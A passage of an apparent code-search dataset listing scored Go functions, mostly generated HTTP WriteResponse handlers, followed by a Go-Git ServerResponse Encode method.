*AddPaymentCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Location\n\n\tlocation := o.Location\n\tif location != \"\" {\n\t\trw.Header().Set(\"Location\", location)\n\t}\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(201)\n}", "title": "" }, { "docid": "4554dd306333deaef44f6804ae49554b", "score": "0.74065226", "text": "func (o *PutClientsClientIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "186fc506fcc6fe86352132295c9c93dd", "score": "0.7405966", "text": "func (o *GetTransactionsTransactionIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4489c8e48b9961d6f4609cde2d9f3934", "score": "0.74030924", "text": "func (o *InvokeActionInPackageOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "3c18a0a5bdef341cb5d1558368b511f9", "score": "0.74015987", "text": "func (rr *responseRunnable) WriteResponse(w http.ResponseWriter, r *http.Request) {\n\terr := rr.runnable.runnableFunc(w, r, rr.Status[r.Method])\n\n\tif err != nil {\n\t\terrorResponse(w, fmt.Sprintf(\"error running request: %v\", err), 500)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "0d82e79b62df7ede54cbdc34b4d7d9eb", "score": "0.7396734", "text": "func (o *CertifyV3OK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "6b6aff336b8eb2aa997f8aae3e6bf1aa", "score": "0.7395383", "text": "func (o *RegistrarSalidaCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(201)\n}", "title": "" }, { "docid": "d08d0c6583d948563900c73d02d3a3cb", "score": "0.73830456", "text": "func (o *AddOrderOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "0261ba9adfe60171366c37860386feee", "score": "0.73781717", "text": "func (o *SetStateOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "b4372992cf3cc64439a38012e1818acc", "score": "0.73769146", "text": "func (o *CreateAccountInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header version\n\n\tversion := o.Version\n\tif version != \"\" {\n\t\trw.Header().Set(\"version\", version)\n\t}\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(500)\n}", "title": "" }, { "docid": "06f7ecd877e0c81a7c1cedf4633e3779", "score": "0.7373297", "text": "func (o *CreateNameserverAccepted) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Reload-ID\n\n\treloadID := o.ReloadID\n\tif reloadID != \"\" {\n\t\trw.Header().Set(\"Reload-ID\", reloadID)\n\t}\n\n\trw.WriteHeader(202)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a3337d95b2a9dd70672c7204080d5c37", "score": "0.7370924", "text": "func (o *PatientcontactViewOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "532248853b09fd519f5d04b665aa0442", "score": "0.73696446", "text": "func (o *AddQuestionToTestOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "82fec46e4837ae9e2f95b8a2c5a0ccc9", "score": "0.7368285", "text": "func WriteResponse(c *fiber.Ctx, response entity.Response) error {\n\treturn c.Status(int(response.Code)).JSON(response)\n}", "title": "" }, { "docid": "182f03d896fc80fd2df6c32d53e7a25f", "score": "0.7365997", "text": "func (o *PostOperationsCreateVirtualNetworkServiceOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "8828f19e2bc93f3cc72d6661fe4c8be4", "score": "0.73596567", "text": "func (o *PutPruebaOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "4f9d5fab1ddd6e196554d22ccfb1332e", "score": "0.73527944", "text": "func (o *RefundlistOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "79d4ccbf10afe17fbf8ccce3afebe053", "score": "0.73473257", "text": "func (o *GetEventsDefault) WriteResponse(rw http.ResponseWriter, producer httpkit.Producer) {\n\n\trw.WriteHeader(500)\n}", "title": "" }, { "docid": "9e4700b7e5e409d2d8898118fceff15b", "score": "0.7343603", "text": "func (o *PostOperationsGetMegOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "592fb5db7b5a251b91c518acfdc99b81", "score": "0.73406065", "text": "func (rw *responseWriter) Write(p []byte) (n int, err error) {\n\tif rw.status == 0 {\n\t\trw.status = http.StatusOK\n\t}\n\tn, err = rw.ResponseWriter.Write(p)\n\trw.byteCount += n\n\treturn\n}", "title": "" }, { "docid": "01d8bc3bc6bc8f5ba03b672db8bd8094", "score": "0.73385304", "text": "func (o *GetCurrentDRUIDSOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make(models.Identifiers, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "e20e62e6ab3709c0e77817ce1f0199dc", "score": "0.7329623", "text": "func (o *WeaviateKeysGetNotImplemented) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(501)\n}", "title": "" }, { "docid": "5c3daf26545ccbc061d0e406860827d7", "score": "0.7320869", "text": "func (o *PostOperationsDeleteVirtualNetworkServiceCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(201)\n}", "title": "" }, { "docid": "9e720cbc6e5d750323b2849a6ebbb4ef", "score": "0.7319047", "text": "func (o *ClearOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "09489f3ecc2dcb632320fe7eb39e4484", "score": "0.7318101", "text": "func (o *GetRenderedDocumentsByIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "b167054722586700791e4debcc2390cf", "score": "0.7316905", "text": "func WriteResponse(w http.ResponseWriter, value interface{}) {\n\tif value == nil {\n\t\tw.WriteHeader(http.StatusNoContent)\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tenc := json.NewEncoder(w)\n\tenc.SetIndent(\"\", \" \")\n\tenc.Encode(value)\n}", "title": "" }, { "docid": "e19bb8fb6c36551ce3dec958ec305709", "score": "0.7314061", "text": "func (o *PutTestOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "023eafa1a40c7d959a4b709738a098d9", "score": "0.7311846", "text": "func (o *ReplaySessionOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "959e9c44f9d5d1aa4ddc4a6ef8d51554", "score": "0.7309135", "text": "func (o *PatchSponsorDefault) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(o._statusCode)\n}", "title": "" }, { "docid": "3db226d77a30745a9d691bb65a1633c4", "score": "0.7307101", "text": "func (server *server) writeResponse(client *client) error {\n\tclient.setTimeout(server.timeout.Load().(time.Duration))\n\tsize, err := client.bufout.WriteString(client.response)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = client.bufout.Flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\tclient.response = client.response[size:]\n\treturn nil\n}", "title": "" }, { "docid": "af94bced2d14b3373c63370c43b56b97", "score": "0.73057556", "text": "func (o *GetStatusOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "88d57855dd6e52f14219681bd85cc56b", "score": "0.72978795", "text": "func (f *Formatter) WriteResponse(w http.ResponseWriter, res []byte, statusCode int) {\n\tf.WriteEmpty(w, statusCode)\n\tw.Write(res)\n}", "title": "" }, { "docid": "ad812b73a04acf42f7d086059dd886f4", "score": "0.72904354", "text": "func WriteResponse(w http.ResponseWriter, resp *httpgrpc.HTTPResponse) error {\n\ttoHeader(resp.Headers, w.Header())\n\tw.WriteHeader(int(resp.Code))\n\t_, err := w.Write(resp.Body)\n\treturn err\n}", "title": "" }, { "docid": "1d10b97520ee132ed79e030d8d3dbf2a", "score": "0.72893363", "text": "func (o *GetHTTPCheckOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Configuration-Version\n\n\tconfigurationVersion := o.ConfigurationVersion\n\tif configurationVersion != \"\" {\n\t\trw.Header().Set(\"Configuration-Version\", configurationVersion)\n\t}\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "73c15d0e1fac0f34a3b38491d016f0ad", "score": "0.72880095", "text": "func (o *GetUIFileOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "335891033de45f2398c15aa7715a8494", "score": "0.7286336", "text": "func (o *PostEchoOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "4d8b53ac172f3de8d5e42f8d337609c7", "score": "0.7285315", "text": "func (o *UpdateRuleOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "c784216560e6438dff72f62014d57c2a", "score": "0.7282748", "text": "func (o *AddSupportUserCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(201)\n}", "title": "" }, { "docid": "13b813b9c6b339f514d30328a6b2a0a9", "score": "0.7278262", "text": "func (o *PostAlertsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "0c42cb3b5329002981e86ffbe22b9e0c", "score": "0.72706753", "text": "func (o *ListApisCiliumIoV2CiliumIdentityOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "6a14e4344e3ad4cab10c11da78873b98", "score": "0.72675395", "text": "func (o *TenantsDeleteOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "2ae7877e916133a2e6dc1a2c105258b8", "score": "0.7266614", "text": "func (o *WeaviateThingTemplatesGetNotImplemented) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(501)\n}", "title": "" }, { "docid": "64f27f3a88202849d5eb6bbc0f789559", "score": "0.7264512", "text": "func (o *PatchApisCiliumIoV2CiliumIdentityStatusOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "e972cb13ba155953872e3e0a806ee5e4", "score": "0.72645074", "text": "func (o *GetWFActionByIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "e44c03aad33ca120e65a50a9dbd4ebdc", "score": "0.72611576", "text": "func (o *WeaviateCommandsPatchNotImplemented) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(501)\n}", "title": "" }, { "docid": "ab548cba94716cea1727d81171e5cca4", "score": "0.725855", "text": "func (o *GetEventsOK) WriteResponse(rw http.ResponseWriter, producer httpkit.Producer) {\n\n\trw.WriteHeader(200)\n\tif err := producer.Produce(rw, o.Payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "da19e7ef03997284a5b5d4c429f702b6", "score": "0.72563654", "text": "func (o *InvokeActionInPackageRequestTimeout) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(408)\n}", "title": "" }, { "docid": "ef9ada5b7e369e8a4d70186b212cc5de", "score": "0.7254054", "text": "func (o *GetTicketOK) WriteResponse(rw http.ResponseWriter, producer httpkit.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tif err := producer.Produce(rw, o.Payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "169129879846b5ddff67dd3c491f41db", "score": "0.7251931", "text": "func (o *GetUserByIDV1OK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5eeb246b00251847f9a83e71e22cab2c", "score": "0.72488946", "text": "func (o *GetKardexByIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f6a9c0f59233fee74d60ff7f9f08749a", "score": "0.72421706", "text": "func (o *UploadAvatarProductOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "553bb1fce0e5e6d92f3eb100bfa21c02", "score": "0.724019", "text": "func (o *PutEndpointIDLabelsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "aaa73659ce8c55da400b4037b3fdb1ac", "score": "0.72303885", "text": "func (response *Response) WriteResponse(w http.ResponseWriter, req *http.Request) {\n\tfor header, value := range response.Headers {\n\t\tw.Header().Set(header, value[0])\n\t}\n\n\tvars := mux.Vars(req)\n\n\tif response.template != nil {\n\t\tw.WriteHeader(response.StatusCode)\n\n\t\tif err := response.template.Execute(w, vars); err != nil {\n\t\t\tfmt.Fprintf(w, err.Error())\n\t\t}\n\t} else {\n\t\tfilePath := bytes.NewBufferString(\"\")\n\t\tif err := response.file.Execute(filePath, vars); err != nil {\n\t\t\tfmt.Fprintf(w, err.Error())\n\t\t}\n\t\thttp.ServeFile(w, req, filePath.String())\n\t}\n}", "title": "" }, { "docid": "16a9f0d3700f43d4a09994acadbe9351", "score": "0.7227466", "text": "func (w *responseWriter) Write(b []byte) (int, error) {\n\tw.logging(http.StatusOK)\n\treturn w.Upstream.Write(b)\n}", "title": "" }, { "docid": "6cb53b8af1a9c426b57eb4b587059432", "score": "0.7223453", "text": "func (o *ListApisCiliumIoV2CiliumNodesOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "43818b88c41c969053139c05594ebb38", "score": "0.7219748", "text": "func (rr ResponseRequest) WriteResponse(w http.ResponseWriter, r *http.Request) {\n\tif rr.ContentType != \"\" {\n\t\tw.Header().Add(\"Content-Type\", rr.ContentType)\n\t}\n\n\tdefer r.Body.Close()\n\tbody, err := ioutil.ReadAll(r.Body)\n\n\tif err != nil {\n\t\terrorResponse(w, fmt.Sprintf(\"Can't read body %v\", err), 500)\n\t\treturn\n\t}\n\n\tw.WriteHeader(rr.Status[r.Method])\n\tw.Write(body)\n}", "title": "" }, { "docid": "d801fec3a7cce3f69c005e8b726819e4", "score": "0.7207849", "text": "func (o *CowsayOK) WriteResponse(rw http.ResponseWriter, producer httpkit.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tif err := producer.Produce(rw, o.Payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f52b0d40e0ea78874e21de937b6c4cf2", "score": "0.7206987", "text": "func (r *Response) Write(p []byte) (int, error) {\n\tr.Started = true\n\treturn r.ResponseWriter.Write(p)\n}", "title": "" }, { "docid": "f8bf33a25f16cfde423b2a3fdb111fbc", "score": "0.72054195", "text": "func (o *ReplaceHTTPCheckOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "8c21366783398c15b18b31767979754e", "score": "0.7202036", "text": "func (o *GetBooksIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif err := producer.Produce(rw, o.Payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "3d717a89999702b8f986d7c0290fd37c", "score": "0.72018045", "text": "func (o *GetGistsIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "972705ec61acca76d3dbb4c1dcf1b9d4", "score": "0.7198199", "text": "func (o *PatchMeetupIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "96ad784f7fa18f4c7e73221240c15f03", "score": "0.71968484", "text": "func (o *GetAvailableQuestionsOfUserInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(500)\n}", "title": "" }, { "docid": "1dfabd6f4936f5baabc2fa80f5b94afc", "score": "0.7196562", "text": "func (o *PatientContactUpdateOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ae57a19d392dbdadc8996f07de9d5c62", "score": "0.7196508", "text": "func (o *ResourcePastUsageOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "f9cd082d492943ceb55960a5f64ed27c", "score": "0.71961266", "text": "func (o *GetProductsIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f90ff085d04d5eff3d7b886d6c9d3fb2", "score": "0.7196016", "text": "func (o *RenderCardOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "1fe507f96e91b201ec65cb9f1b40098c", "score": "0.71948797", "text": "func (o *CowsayDefault) WriteResponse(rw http.ResponseWriter, producer httpkit.Producer) {\n\n\trw.WriteHeader(o._statusCode)\n\tif o.Payload != nil {\n\t\tif err := producer.Produce(rw, o.Payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "1c022760430d3f3c9ac614d9dc1d563f", "score": "0.7193425", "text": "func (o *PostImportTargetsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "72368314d7f08897e3a83e17aa9531a2", "score": "0.71907014", "text": "func (o *DeleteIBAGateByNameOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "80fceaae817947cc9664246815e58aed", "score": "0.71877146", "text": "func (o *InfoOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "546e0688d2a704e37dffaeb1b6d6dbac", "score": "0.71867144", "text": "func (o *Response) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\trw.WriteHeader(http.StatusOK)\n\twriteBody(rw, producer, o.Body)\n}", "title": "" }, { "docid": "bd1dd93f82b31b6c37590ffa1856b672", "score": "0.71839505", "text": "func (o *PostFleetsFleetIDWingsCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(201)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "da8b832b5fbdb0ba7a792b1b14b3eece", "score": "0.7181444", "text": "func writeResponse(w http.ResponseWriter, response string) {\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\tw.WriteHeader(http.StatusCreated)\n\tif err := json.NewEncoder(w).Encode(map[string]string{\"SUCCESS\": response}); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "d8093f2b233c5ee20faba9116fb06333", "score": "0.7181372", "text": "func (healthStatus HealthStatus) WriteResponse(rw http.ResponseWriter, producer openapiruntime.Producer) {\n rw.WriteHeader(200)\n\thealthstatusjson, _ := json.Marshal(healthStatus)\n\tif err := producer.Produce(rw, string(healthstatusjson)); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n }\n}", "title": "" }, { "docid": "8232649b31d12aafb0e32ca55350d292", "score": "0.71785957", "text": "func (o *DeleteLogForwardAccepted) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Reload-ID\n\n\treloadID := o.ReloadID\n\tif reloadID != \"\" {\n\t\trw.Header().Set(\"Reload-ID\", reloadID)\n\t}\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(202)\n}", "title": "" }, { "docid": "4b6d3bd01ec0fd471dccaaf18c013ea9", "score": "0.7176142", "text": "func (rr ResponseRunnable) WriteResponse(w http.ResponseWriter, r *http.Request) {\n\terr := rr.runnable.RunnableFunc(w, r, rr.Status[r.Method])\n\n\tif err != nil {\n\t\terrorResponse(w, fmt.Sprintf(\"Error running request: %v\", err), 500)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "4aaf7b95972038099aa1e2c4a206d047", "score": "0.71753204", "text": "func (o *GetQuestionFromUserOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" } ]
76b91ccaed3807f2d6e0648f128ae3af
Encode encodes the ServerResponse into a writer.
[ { "docid": "600bac94620f44dba042ee5b074db6c2", "score": "0.68838066", "text": "func (r *ServerResponse) Encode(w io.Writer) error {\n\tif len(r.ACKs) > 1 {\n\t\treturn errors.New(\"multi_ack and multi_ack_detailed are not supported\")\n\t}\n\n\te := pktline.NewEncoder(w)\n\tif len(r.ACKs) == 0 {\n\t\treturn e.Encodef(\"%s\\n\", nak)\n\t}\n\n\treturn e.Encodef(\"%s %s\\n\", ack, r.ACKs[0].String())\n}", "title": "" } ]
